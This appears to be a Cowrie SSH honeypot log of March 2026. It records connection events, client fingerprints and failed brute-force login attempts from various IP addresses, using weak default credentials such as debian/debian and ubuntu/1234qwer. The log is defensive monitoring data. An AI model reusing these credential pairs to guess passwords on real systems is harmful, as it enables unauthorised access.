{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:17.575872Z","src_ip":"103.62.152.202","session":"19e50df13f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":55773,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b44009bca8","protocol":"ssh","message":"New connection: 154.125.147.88:55773 (10.17.0.5:22) [session: 21b44009bca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:24.090055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:24.095602Z","src_ip":"154.125.147.88","session":"21b44009bca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:24.325391Z","src_ip":"154.125.147.88","session":"21b44009bca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zz","password":"zz1234","message":"login attempt [zz/zz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:25.266426Z","src_ip":"154.125.147.88","session":"21b44009bca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:26.513354Z","src_ip":"154.125.147.88","session":"21b44009bca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":47558,"dst_ip":"159.203.135.109","dst_port":22,"session":"48eed5f3efd6","protocol":"ssh","message":"New connection: 92.118.39.92:47558 (159.203.135.109:22) [session: 48eed5f3efd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:45.418368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:45.422203Z","src_ip":"92.118.39.92","session":"48eed5f3efd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:45.528772Z","src_ip":"92.118.39.92","session":"48eed5f3efd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:45.862797Z","src_ip":"92.118.39.92","session":"48eed5f3efd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:46.968332Z","src_ip":"92.118.39.92","session":"48eed5f3efd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":42462,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd64a127cf2f","protocol":"ssh","message":"New connection: 172.211.56.214:42462 (159.203.135.109:22) [session: fd64a127cf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:19.139244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:19.143080Z","src_ip":"172.211.56.214","session":"fd64a127cf2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:19.239375Z","src_ip":"172.211.56.214","session":"fd64a127cf2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"macha","password":"1234","message":"login attempt [macha/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:19.642397Z","src_ip":"172.211.56.214","session":"fd64a127cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:20.737842Z","src_ip":"172.211.56.214","session":"fd64a127cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.52.95.38","src_port":37764,"dst_ip":"159.203.135.109","dst_port":22,"session":"c272df71de72","protocol":"ssh","message":"New connection: 67.52.95.38:37764 (159.203.135.109:22) [session: c272df71de72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:29.988576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:29.992926Z","src_ip":"67.52.95.38","session":"c272df71de72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:30.119848Z","src_ip":"67.52.95.38","session":"c272df71de72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:30.657890Z","src_ip":"67.52.95.38","session":"c272df71de72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:31.788041Z","src_ip":"67.52.95.38","session":"c272df71de72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":53908,"dst_ip":"159.203.135.109","dst_port":22,"session":"42880e3d257f","protocol":"ssh","message":"New connection: 103.203.57.2:53908 (159.203.135.109:22) [session: 42880e3d257f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:36.085156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:36.088831Z","src_ip":"103.203.57.2","session":"42880e3d257f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:36.097999Z","src_ip":"103.203.57.2","session":"42880e3d257f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":43942,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c829828ae7","protocol":"ssh","message":"New connection: 103.78.2.212:43942 (10.17.0.5:22) [session: 86c829828ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:40.668779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:40.673377Z","src_ip":"103.78.2.212","session":"86c829828ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:40.921891Z","src_ip":"103.78.2.212","session":"86c829828ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applmgr","password":"Applmgr123","message":"login attempt [applmgr/Applmgr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:41.942626Z","src_ip":"103.78.2.212","session":"86c829828ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:43.191526Z","src_ip":"103.78.2.212","session":"86c829828ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:46.086055Z","src_ip":"103.203.57.2","session":"42880e3d257f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":59830,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb19862d950d","protocol":"ssh","message":"New connection: 213.209.159.159:59830 (10.17.0.5:22) [session: fb19862d950d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:09:59.241806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:01.747323Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:01.825673Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn","message":"login attempt [jaylynn/jaylynn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:02.227701Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn1","message":"login attempt [jaylynn/jaylynn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:03.312010Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn123","message":"login attempt [jaylynn/jaylynn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:04.397725Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn1234","message":"login attempt [jaylynn/jaylynn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:05.481569Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn12345","message":"login attempt [jaylynn/jaylynn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:06.565584Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:07.651126Z","src_ip":"213.209.159.159","session":"fb19862d950d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":56732,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9a247ede866","protocol":"ssh","message":"New connection: 154.125.147.88:56732 (10.17.0.5:22) [session: f9a247ede866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:08.360359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:08.368110Z","src_ip":"154.125.147.88","session":"f9a247ede866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:10.062039Z","src_ip":"154.125.147.88","session":"f9a247ede866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"12345678","message":"login attempt [username/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:11.026662Z","src_ip":"154.125.147.88","session":"f9a247ede866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:12.264457Z","src_ip":"154.125.147.88","session":"f9a247ede866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":50236,"dst_ip":"159.203.135.109","dst_port":22,"session":"d872bdba4986","protocol":"ssh","message":"New connection: 45.134.9.27:50236 (159.203.135.109:22) [session: d872bdba4986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:21.872793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:21.877620Z","src_ip":"45.134.9.27","session":"d872bdba4986","protocol":"ssh"}
